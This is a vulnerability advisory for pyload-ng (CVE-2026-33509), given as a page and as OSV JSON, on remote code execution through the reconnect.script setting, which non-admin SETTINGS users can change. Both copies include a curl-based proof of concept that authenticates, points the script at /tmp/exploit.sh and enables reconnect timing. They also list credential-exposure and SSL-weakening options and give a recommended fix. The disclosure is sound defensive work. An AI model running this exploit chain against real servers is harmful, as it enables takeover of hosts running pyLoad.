PYSEC-2026-2996
Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05Summary
The set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.
Details
The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/__init__.py:210-243
@permission(Perms.SETTINGS)
@post
def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None:
self.pyload.addon_manager.dispatch_event(
"config_changed", category, option, value, section
)
if section == "core":
if category == "general" and option == "storage_folder":
# Forbid setting the download folder inside dangerous locations
# ... validation only for storage_folder ...
return
self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage_folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/thread_manager.py:157-199
def try_reconnect(self):
if not (
self.pyload.config.get("reconnect", "enabled")
and self.pyload.api.is_time_reconnect()
):
return False
# ... checks if active downloads want reconnect ...
reconnect_script = self.pyload.config.get("reconnect", "script")
if not os.path.isfile(reconnect_script):
self.pyload.config.set("reconnect", "enabled", False)
self.pyload.log.warning(self._("Reconnect script not found!"))
return
# ... reconnect logic ...
try:
subprocess.run(reconnect_script) # Executes attacker-controlled path
except Exception:
# ...
The reconnect_script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.start_time, and reconnect.end_time through the same set_config_value() endpoint to control when execution occurs. toggle_reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to:
- Read proxy credentials (proxy.username/proxy.password) in plaintext via get_config()
- Redirect syslog to an attacker-controlled server (log.syslog_host/log.syslog_port)
- Disable SSL (webui.use_ssl=False), rebind to 0.0.0.0 (webui.host)
- Modify SSL certificate/key paths to enable MITM
PoC
Step 1: Set reconnect script to an attacker-controlled executable
Via API:
# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' \
-d 'username=settingsuser&password=pass123'
# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=script&value=/tmp/exploit.sh§ion=core'
Via Web UI:
curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
-d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=enabled&value=True§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=start_time&value=00:00§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=end_time&value=23:59§ion=core'
Step 3: Script executes when thread manager calls try_reconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes try_reconnect(), which calls subprocess.run(reconnect_script) at thread_manager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.
Impact
- Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
- Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
- Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via
get_config() - Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings
Recommended Fix
Add an allowlist or category-level restriction in set_config_value() that prevents non-admin users from modifying security-critical options:
# In set_config_value(), after the storage_folder check:
ADMIN_ONLY_OPTIONS = {
("reconnect", "script"),
("webui", "host"),
("webui", "use_ssl"),
("webui", "ssl_cert"),
("webui", "ssl_key"),
("log", "syslog_host"),
("log", "syslog_port"),
("proxy", "username"),
("proxy", "password"),
}
if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS:
# Require ADMIN role for security-critical settings
if not self.pyload.api.user_data.get("role") == Role.ADMIN:
raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.
| Name | purl | pyload-ng | pkg:pypi/pyload-ng |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng",
"purl": "pkg:pypi/pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"last_affected": "0.5.0b3.dev96"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.5.0a5.dev528",
"0.5.0a5.dev532",
"0.5.0a5.dev535",
"0.5.0a5.dev536",
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"0.5.0b2.dev12",
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"0.5.0b3.dev17",
"0.5.0b3.dev18",
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"0.5.0b3.dev80",
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"0.5.0b3.dev85",
"0.5.0b3.dev87",
"0.5.0b3.dev88",
"0.5.0b3.dev89",
"0.5.0b3.dev90",
"0.5.0b3.dev91",
"0.5.0b3.dev92",
"0.5.0b3.dev93",
"0.5.0b3.dev94",
"0.5.0b3.dev95",
"0.5.0b3.dev96"
]
}
],
"aliases": [
"CVE-2026-33509",
"GHSA-r7mc-x6x7-cqxx"
],
"details": "## Summary\n\nThe `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager\u0027s reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` \u2014 all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.\n\n## Details\n\nThe vulnerability chain spans two components:\n\n**1. Unrestricted config write \u2014 `src/pyload/core/api/__init__.py:210-243`**\n\n```python\n@permission(Perms.SETTINGS)\n@post\ndef set_config_value(self, category: str, option: str, value: Any, section: str = \"core\") -\u003e None:\n self.pyload.addon_manager.dispatch_event(\n \"config_changed\", category, option, value, section\n )\n if section == \"core\":\n if category == \"general\" and option == \"storage_folder\":\n # Forbid setting the download folder inside dangerous locations\n # ... validation only for storage_folder ...\n return\n\n self.pyload.config.set(category, option, value) # No validation for any other option\n```\n\nThe `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.\n\n**2. Arbitrary script execution \u2014 `src/pyload/core/managers/thread_manager.py:157-199`**\n\n```python\ndef try_reconnect(self):\n if not (\n self.pyload.config.get(\"reconnect\", \"enabled\")\n and self.pyload.api.is_time_reconnect()\n ):\n return False\n\n # ... checks if active downloads want reconnect ...\n\n reconnect_script = self.pyload.config.get(\"reconnect\", \"script\")\n if not os.path.isfile(reconnect_script):\n self.pyload.config.set(\"reconnect\", \"enabled\", False)\n self.pyload.log.warning(self._(\"Reconnect script not found!\"))\n return\n\n # ... reconnect logic ...\n\n try:\n subprocess.run(reconnect_script) # Executes attacker-controlled path\n except Exception:\n # ...\n```\n\nThe `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` \u2014 the file must exist but there is no allowlist, no path restriction, and no signature verification.\n\n**3. Attacker also controls timing via same SETTINGS permission**\n\nThe attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` \u2014 an even lower privilege.\n\n**4. Additional privilege escalation via config access**\n\nBeyond RCE, the same unrestricted config write allows SETTINGS users to:\n- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`\n- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)\n- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)\n- Modify SSL certificate/key paths to enable MITM\n\n## PoC\n\n**Step 1: Set reconnect script to an attacker-controlled executable**\n\nVia API:\n```bash\n# Authenticate and get session (as user with SETTINGS permission)\ncurl -c cookies.txt -X POST \u0027http://target:8000/api/login\u0027 \\\n -d \u0027username=settingsuser\u0026password=pass123\u0027\n\n# Set reconnect script to a known executable on the system\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n -d \u0027category=reconnect\u0026option=script\u0026value=/tmp/exploit.sh\u0026section=core\u0027\n```\n\nVia Web UI:\n```bash\ncurl -b cookies.txt -X POST \u0027http://target:8000/json/save_config?category=core\u0027 \\\n -d \u0027reconnect|script=/tmp/exploit.sh\u0026reconnect|enabled=True\u0027\n```\n\n**Step 2: Enable reconnect and set timing window**\n\n```bash\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n -d \u0027category=reconnect\u0026option=enabled\u0026value=True\u0026section=core\u0027\n\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n -d \u0027category=reconnect\u0026option=start_time\u0026value=00:00\u0026section=core\u0027\n\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n -d \u0027category=reconnect\u0026option=end_time\u0026value=23:59\u0026section=core\u0027\n```\n\n**Step 3: Script executes when thread manager calls `try_reconnect()`**\n\nThe thread manager\u0027s `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.\n\n**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.\n\n## Impact\n\n- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user\n- **Privilege escalation**: The SETTINGS permission is described as \"can access settings\" \u2014 granting it is not expected to grant arbitrary code execution capability\n- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`\n- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings\n\n## Recommended Fix\n\nAdd an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:\n\n```python\n# In set_config_value(), after the storage_folder check:\nADMIN_ONLY_OPTIONS = {\n (\"reconnect\", \"script\"),\n (\"webui\", \"host\"),\n (\"webui\", \"use_ssl\"),\n (\"webui\", \"ssl_cert\"),\n (\"webui\", \"ssl_key\"),\n (\"log\", \"syslog_host\"),\n (\"log\", \"syslog_port\"),\n (\"proxy\", \"username\"),\n (\"proxy\", \"password\"),\n}\n\nif section == \"core\" and (category, option) in ADMIN_ONLY_OPTIONS:\n # Require ADMIN role for security-critical settings\n if not self.pyload.api.user_data.get(\"role\") == Role.ADMIN:\n raise PermissionError(f\"Admin role required to modify {category}.{option}\")\n```\n\nAdditionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.",
"id": "PYSEC-2026-2996",
"modified": "2026-07-13T16:05:53.102185Z",
"published": "2026-07-13T14:36:44.126156Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/f5e284fcdfeaf08436bb03e5fcf697aaac659d8b"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/pyload-ng"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration"
}
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| Author | Source | Type | Date | Other |
|---|
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